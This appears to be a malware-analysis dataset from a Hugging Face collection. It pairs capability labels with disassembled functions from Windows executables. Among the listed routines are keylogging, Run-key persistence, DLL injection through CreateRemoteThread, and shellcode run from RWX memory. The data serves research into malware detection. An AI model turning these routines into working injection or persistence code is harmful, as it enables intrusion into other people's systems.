joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401380
Capabilities:
Get disk information
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x42ee68
push eax
mov dword fs:[0], esp
mov eax, dword [0x854f4c]
sub esp, 0xc20
push ebx
push esi
push edi
cmp eax, 0x93
jne 0x401429
push 0
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push 0
lea eax, [ebp - 0x42c]
push eax
push 0
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea eax, [ebp - 0x2c]
call fcn.004016a0
push 0x430b64
push 0
mov dword [ebp - 4], 0
call fcn.00401b96
call fcn.004017ee
push 0
push 0
call fcn.00401ac7
push 0
push 0
call fcn.0040197d
push 0
push 0
call fcn.00401ac7
add esp, 0x20
push 0
call fcn.00401e58
mov edx, dword [0x435980]
add eax, 0x1134b
push eax
push 0
mov dword [0x8559b0], edx
mov dword [0x854f4c], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x854900], eax
call fcn.004012c0
xor esi, esi
cmp dword [0x854f4c], esi
jbe 0x4014ba
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
jmp 0x401470
mov eax, dword [0x8559b0]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x854900]
mov byte [edx + esi], cl
cmp dword [0x854f4c], 0x490
jne 0x4014b1
push 0
push 0
call ebx
push 0
lea eax, [ebp - 0x10]
push eax
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
inc esi
cmp esi, dword [0x854f4c]
jb 0x401470
mov edi, dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor esi, esi
mov ecx, dword [0x854f4c]
add ecx, esi
cmp ecx, 0x8d
jne 0x4014f3
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push str.timalelitunomikemoleduke
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
inc esi
cmp esi, 0x38681
jl 0x4014c8
call fcn.00401220
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
lea esp, [esp]
push 0
call edi
cmp esi, 0x62
jne 0x40151e
call fcn.004012a0
inc esi
cmp esi, 0x674db
jl 0x401510
mov esi, dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov ebx, dword [sym.imp.KERNEL32.dll_AddAtomA]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x854f4c], 0x86
jne 0x401565
push 0
lea edx, [ebp - 0xc2c]
push edx
push 0
call esi
push 0
push 0
push 0
call edi
push 0
call ebx
sub dword [ebp - 0x10], 1
jne 0x401540
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x854900]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4067b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x432a68]
jne 0x4067ba
repz ret
jmp fcn.00409cdf
Function at 0x409756
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004037e6
and dword [ebp - 4], 0
cmp dword [0x437338], 0
mov ebx, eax
jne 0x409807
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4098b8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4098b8
push eax
call fcn.00403774
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x437338], eax
call esi
push eax
call fcn.00403774
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43733c], eax
call esi
push eax
call fcn.00403774
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x437340], eax
call esi
push eax
call fcn.00403774
pop ecx
mov dword [0x437348], eax
test eax, eax
je 0x409807
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403774
pop ecx
mov dword [0x437344], eax
mov eax, dword [0x437344]
cmp eax, ebx
je 0x40985f
cmp dword [0x437348], ebx
je 0x40985f
push eax
call fcn.004037ef
push dword [0x437348]
mov esi, eax
call fcn.004037ef
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40985f
test edi, edi
je 0x40985f
call esi
test eax, eax
je 0x409856
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409856
test byte [ebp - 0xc], 1
jne 0x40985f
or dword [ebp + 0x10], 0x200000
jmp 0x409898
mov eax, dword [0x43733c]
cmp eax, ebx
je 0x409898
push eax
call fcn.004037ef
pop ecx
test eax, eax
je 0x409898
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409898
mov eax, dword [0x437340]
cmp eax, ebx
je 0x409898
push eax
call fcn.004037ef
pop ecx
test eax, eax
je 0x409898
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x437338]
call fcn.004037ef
pop ecx
test eax, eax
je 0x4098b8
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4098ba
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4011b7
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [ebp + 0xc]
add eax, 4
movzx ecx, word [eax]
push esi
xor esi, esi
cmp cx, si
mov dword [ebp - 0x14], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], eax
je 0x4011e4
mov edx, eax
add dword [ebp - 8], 2
inc edx
inc edx
cmp word [edx], si
jne 0x4011d9
add dword [ebp - 8], 2
cmp cx, si
je 0x40133e
push ebx
push edi
mov dword [ebp - 0x1c], eax
mov ax, word [eax]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x14]
and ax, 0x3fff
movzx eax, ax
lea ebx, [ecx + edx]
movzx eax, ax
push 0xc
xor edx, edx
pop ecx
mov dword [ebp - 0x24], eax
div ecx
mov dword [ebp - 0x20], ebx
test edx, edx
mov esi, eax
jne 0x40133c
shl eax, 2
push eax
push 8
push dword [ebp + 8]
call dword [0xf97080]
mov edi, eax
test edi, edi
je 0x40133c
xor eax, eax
test esi, esi
jbe 0x401259
lea ecx, [ebx + 0xa]
mov dx, word [ecx]
mov word [edi + eax*4], dx
mov word [edi + eax*4 + 2], ax
inc eax
add ecx, 0xc
cmp eax, esi
jb 0x401245
push 0xf611a6
push 4
push esi
push edi
call dword [0xf970b0]
add esp, 0x10
test esi, esi
jbe 0x401318
lea eax, [edi + 2]
mov byte [ebp - 0x30], 0x80
mov byte [ebp - 0x2f], 0x40
mov byte [ebp - 0x2e], 0x20
mov byte [ebp - 0x2d], 0x10
mov byte [ebp - 0x2c], 8
mov byte [ebp - 0x2b], 4
mov byte [ebp - 0x2a], 2
mov byte [ebp - 0x29], 1
mov byte [ebp - 0x28], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], esi
jmp 0x4012a5
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
imul eax, eax, 0xc
add eax, ebx
movzx ecx, byte [eax]
and ecx, 0x80000001
jns 0x4012c0
dec ecx
or ecx, 0xfffffffe
inc ecx
jne 0x4012c7
mov dl, byte [eax + 8]
jmp 0x4012ca
mov dl, byte [eax + 9]
test ecx, ecx
mov byte [ebp - 2], dl
jne 0x4012d6
mov cl, byte [eax + 9]
jmp 0x4012d9
mov cl, byte [eax + 8]
mov byte [ebp - 1], cl
lea ecx, [ebp - 0x30]
mov esi, eax
mov eax, ecx
mov dl, 0x80
sub esi, eax
mov al, dl
and al, byte [ebp - 2]
cmp al, dl
jne 0x401308
cmp byte [ebp - 1], 0
mov dl, byte [esi + ecx]
je 0x4012fc
xor dl, byte [ebp - 1]
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebp + 0x10]
inc dword [ebp - 0xc]
mov byte [ebx + eax], dl
inc ecx
mov dl, byte [ecx]
test dl, dl
jne 0x4012e7
add dword [ebp - 0x10], 4
dec dword [ebp - 0x18]
jne 0x4012a2
push edi
push 0
push dword [ebp + 8]
call dword [0xf9707c]
mov eax, dword [ebp - 0x24]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1c]
inc eax
inc eax
cmp word [eax], 0
mov dword [ebp - 0x1c], eax
jne 0x4011f6
pop edi
pop ebx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
sub eax, dword [ecx]
pop esi
neg eax
sbb eax, eax
not eax
and eax, dword [ebp - 0xc]
leave
ret
Function at 0x4013b0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor ecx, ecx
xor edx, edx
xor esi, esi
cmp dword [ebp + 0x14], ecx
jbe 0x4014a6
mov ebx, dword [ebp + 0x10]
mov eax, dword [ebp + 0x14]
sub eax, esi
cmp eax, 2
jb 0x4013de
cmp byte [esi + ebx], 0xd
jne 0x4013de
cmp byte [esi + ebx + 1], 0xa
je 0x401409
mov al, byte [esi + ebx]
cmp al, 0xa
je 0x401409
cmp al, 0x3d
jne 0x4013ef
inc edx
cmp edx, 2
ja 0x40142b
cmp al, 0x7f
ja 0x40142b
movzx eax, al
mov al, byte [eax + 0xf97350]
cmp al, 0x7f
je 0x40142b
cmp al, 0x40
jae 0x401408
test edx, edx
jne 0x40142b
inc ecx
inc esi
cmp esi, dword [ebp + 0x14]
jb 0x4013c7
test ecx, ecx
je 0x4014a6
imul ecx, ecx, 6
add ecx, 7
shr ecx, 3
mov eax, ecx
mov ecx, dword [ebp + 0xc]
cmp dword [ecx], eax
jae 0x401430
mov dword [ecx], eax
or eax, 0xffffffff
jmp 0x4014a8
mov ecx, dword [ebp + 8]
push edi
push 3
xor edx, edx
pop edi
mov dword [ebp + 0x14], edx
jmp 0x401499
mov al, byte [ebx]
cmp al, 0xd
je 0x401494
cmp al, 0xa
je 0x401494
movzx eax, al
movzx eax, byte [eax + 0xf97350]
xor ebx, ebx
cmp al, 0x40
sete bl
shl edx, 6
and eax, 0x3f
or eax, edx
mov edx, eax
sub edi, ebx
inc dword [ebp + 0x14]
cmp dword [ebp + 0x14], 4
jne 0x401491
and dword [ebp + 0x14], 0
test edi, edi
jbe 0x40147c
shr eax, 0x10
mov byte [ecx], al
inc ecx
cmp edi, 1
jbe 0x401489
mov eax, edx
shr eax, 8
mov byte [ecx], al
inc ecx
cmp edi, 2
jbe 0x401491
mov byte [ecx], dl
inc ecx
mov ebx, dword [ebp + 0x10]
dec esi
inc ebx
mov dword [ebp + 0x10], ebx
test esi, esi
ja 0x40143e
sub ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
pop edi
xor eax, eax
pop esi
pop ebx
pop ebp
ret

Function at 0x4014ac
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 8], 0
push ebx
mov ebx, eax
je 0x40150b
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0x10
sub edi, ebx
pop esi
push esi
lea eax, [ebp - 0x14]
push ebx
push eax
call fcn.0042629c
add esp, 0xc
nop
mov ecx, dword [ebp + 0x10]
mov eax, ebx
sub ecx, ebx
mov dword [ebp - 4], esi
mov dl, byte [edi + eax]
xor dl, byte [eax]
mov byte [ecx + eax], dl
inc eax
dec dword [ebp - 4]
jne 0x4014de
nop
push esi
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
call fcn.0042629c
add dword [ebp + 0x10], esi
add esp, 0xc
add ebx, esi
sub edi, esi
sub dword [ebp + 8], esi
jne 0x4014c5
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40154c
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 4]
mov dword [ebp - 4], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 0xc]
push ebx
xor ebx, ebx
push esi
mov esi, dword [ecx + 0x40]
push edi
mov edi, dword [ecx]
mov ecx, dword [ebp + 0x10]
mov bh, byte [ecx]
mov dword [ebp - 8], eax
movzx eax, byte [ecx + 2]
movzx edx, byte [ecx + 6]
mov bl, byte [ecx + 1]
shl ebx, 8
or ebx, eax
movzx eax, byte [ecx + 3]
shl ebx, 8
or ebx, eax
xor eax, eax
mov ah, byte [ecx + 4]
mov al, byte [ecx + 5]
shl eax, 8
or eax, edx
movzx edx, byte [ecx + 7]
shl eax, 8
or eax, edx
mov dword [ebp + 8], eax
mov eax, esi
cdq
sub eax, edx
sar eax, 1
cmp dword [ebp + 0x14], 0
je 0x40165a
mov edx, eax
imul edx, edx, 0x9e3779b9
test eax, eax
jle 0x401609
mov dword [ebp + 0x10], eax
mov eax, ebx
shr eax, 5
add eax, dword [ebp - 8]
mov esi, ebx
shl esi, 4
add esi, dword [ebp - 0xc]
xor eax, esi
lea esi, [edx + ebx]
xor eax, esi
sub dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 8]
shr eax, 5
add eax, dword [ebp - 4]
shl esi, 4
add esi, edi
xor eax, esi
mov esi, dword [ebp + 8]
add esi, edx
xor eax, esi
sub ebx, eax
add edx, 0x61c88647
dec dword [ebp + 0x10]
jne 0x4015c8
mov esi, dword [ebp + 0x18]
test esi, esi
je 0x4016a2
movzx edx, byte [esi + 2]
xor eax, eax
mov ah, byte [esi]
push 8
push ecx
push esi
mov al, byte [esi + 1]
shl eax, 8
or eax, edx
movzx edx, byte [esi + 3]
shl eax, 8
or eax, edx
movzx edx, byte [esi + 6]
xor ebx, eax
xor eax, eax
mov ah, byte [esi + 4]
mov al, byte [esi + 5]
shl eax, 8
or eax, edx
movzx edx, byte [esi + 7]
shl eax, 8
or eax, edx
xor dword [ebp + 8], eax
call fcn.0042629c
add esp, 0xc
jmp 0x4016a2
xor ecx, ecx
test eax, eax
jle 0x4016a2
mov dword [ebp + 0x10], eax
mov eax, dword [ebp + 8]
mov edx, eax
shr edx, 5
add edx, dword [ebp - 4]
mov esi, eax
shl esi, 4
sub ecx, 0x61c88647
add eax, ecx
add esi, edi
xor edx, esi
xor edx, eax
add ebx, edx
mov eax, ebx
shr eax, 5
add eax, dword [ebp - 8]
mov edx, ebx
shl edx, 4
add edx, dword [ebp - 0xc]
xor eax, edx
lea edx, [ecx + ebx]
xor eax, edx
add dword [ebp + 8], eax
dec dword [ebp + 0x10]
jne 0x401663
mov eax, dword [ebp + 0xc]
mov ecx, ebx
shr ecx, 8
mov byte [eax + 2], cl
mov ecx, ebx
shr ecx, 0x10
mov byte [eax + 1], cl
mov ecx, dword [ebp + 8]
mov edx, ecx
shr edx, 8
mov byte [eax + 6], dl
mov edx, ecx
mov byte [eax + 3], bl
shr ebx, 0x18
pop edi
shr edx, 0x10
mov byte [eax + 7], cl
shr ecx, 0x18
pop esi
mov byte [eax], bl
mov byte [eax + 5], dl
mov byte [eax + 4], cl
pop ebx
leave
ret
Function at 0x401690
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x10
push ebx
push esi
push edi
push edx
pop edi
push edi
push 0
push dword [section..data]
mov dword [ebp - 8], edi
push ecx
pop esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, edi
shr ebx, 2
mov dword [ebp - 4], eax
or ebx, ebx
je 0x4016d4
push esi
pop edi
mov ecx, eax
sub edi, eax
mov edx, ebx
mov eax, dword [edi + ecx]
mov dword [ecx], eax
lea ecx, [ecx + 4]
dec edx
jne 0x4016c3
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 4]
shl ebx, 2
cmp ebx, edi
jae 0x4016ef
push edi
pop edx
sub esi, eax
lea ecx, [ebx + eax]
sub edx, ebx
mov al, byte [ecx + esi]
mov byte [ecx], al
lea ecx, [ecx + 1]
dec edx
jne 0x4016e4
mov eax, dword [ebp - 4]
lea esi, [edi - 8]
lea ecx, [eax - 8]
add ecx, edi
push esi
pop ebx
mov edx, dword [ecx + 4]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ecx]
shr ebx, 2
and esi, 3
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
or ebx, ebx
je 0x401731
lea ecx, [ebx + edx]
mov edx, dword [eax]
movzx ecx, cl
ror edx, cl
mov ecx, dword [ebp - 8]
add eax, 4
xor edx, ecx
sub edx, ebx
mov dword [eax - 4], edx
mov edx, dword [ebp - 0xc]
dec ebx
jne 0x401714
test esi, esi
je 0x40173d
xor byte [eax], cl
lea eax, [eax + 1]
dec esi
jne 0x401735
mov edi, dword [ebp - 0x10]
mov edi, dword [edi - 4]
push edi
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, dword [ebp - 4]
push eax
pop esi
mov edx, esi
push ebx
pop ecx
call section..text
push ebx
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x416a10
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
lea eax, [esp]
push 0
push eax
push 0
push 0x20019
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetControlSession_ManagerMemory_Management
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov eax, dword [esp]
test eax, eax
je 0x416ab0
lea ecx, [esp + 4]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea edx, [esp + 0x10]
push ecx
push edx
push 0
push 0
push str.FeatureSettings
push eax
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 4
call esi
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push 0
push 0
push str.FeatureSettingsOverride
push edx
call esi
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
or eax, ecx
pop esi
xor eax, 0x11
neg eax
sbb eax, eax
inc eax
add esp, 0x10
ret
xor eax, eax
add esp, 0x10
ret
Function at 0x422be0
Capabilities:
Get geographical location

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jle 0x422c6e
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
cmp dword [esp + 0x18], 0x2d
jne 0x422c2c
push 0
push str.vepamanal_tulesizoxe_yabadodopa_zokorubonoxesiticohub_foyidufumobowebacaxosububonobo
call edi
push str.wuviyakox
push str.yekukefocudovizene
push str.kaluravujokiziduyux
push str.vixuboxituja
call ebx
push 0
call ebp
call fcn.00422b30
mov ecx, dword [esp + 0x14]
xor byte [esi + ecx], al
cmp dword [esp + 0x18], 0xf
jne 0x422c64
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push str.tigegisipawupesavumefozoj
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
inc esi
cmp esi, dword [esp + 0x18]
jl 0x422c02
pop edi
pop ebp
pop ebx
cmp dword [esp + 0xc], 0x2d
pop esi
jne 0x422c8a
mov dword [0x42d8d0], 0xa62e7790
mov dword [0x42d8d4], 0xffffffff
ret
Function at 0x423030
Capabilities:
Access the windows event log
Set file attributes

Disassembly:
mov eax, dword [0x42d8c4]
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
mov ebp, 0x1519a5
lea esp, [esp]
mov dword [0x42d52c], 0x8e46a7b8
cmp eax, 0x3dc
jne 0x42307a
push 0
push 0x427f90
call esi
push str.rusokuj
push 0
push 0
call edi
mov eax, dword [0x42d8c4]
dec ebp
jne 0x423050
mov edi, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
xor esi, esi
mov ebp, 0xec58acac
lea ebx, [ebx]
cmp eax, 0x997
jne 0x4230a2
push 0
push 0
call edi
mov eax, dword [0x42d8c4]
cmp esi, 0x846373
jne 0x4230b9
mov eax, dword [0x42bad0]
add eax, 0xa231
mov dword [0x42d8c4], eax
cmp eax, 0x141
jne 0x4230d0
mov dword [0x42cd18], ebp
mov dword [0x42cd1c], 0xffffffff
inc esi
cmp esi, 0x123c962
jl 0x423090
call fcn.00422cd0
pop edi
pop esi
xor eax, eax
pop ebp
ret 0x10
Function at 0x4014b4
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], str.C:UsershacksDocumentsGitHubWindowsBuildingBlockDebugBuildingBlock.exe
mov dword [ebp - 0x10], str.SoftwareMicrosoftWindowsCurrentVersionRun
lea eax, [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.BuildingBlock
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x4015ae
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0x18], eax
mov dword [esp], str.Kernel32
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], str.LoadLibraryA
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._atoi
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x43a
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x28]
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4016f6
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Error:__d_n
call sym._printf
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x401715
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0xc], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x401788
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.CreateFile_failed_with_error__d._n
call sym._printf
mov eax, 0
jmp 0x4018b0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x4017c6
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.GetFileSize_failed_with_error__d._n
call sym._printf
mov eax, 0
jmp 0x4018b0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x4017f9
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.malloc_failed_with_error__d._n
call sym._printf
mov eax, 0
jmp 0x4018b0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401849
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.ReadFile_failed_with_error__d._n
call sym._printf
mov eax, 0
jmp 0x4018b0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401899
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.WriteFile_failed_with_error__d._n
call sym._printf
mov eax, 0
jmp 0x4018b0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
leave
ret

Function at 0x401a3c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret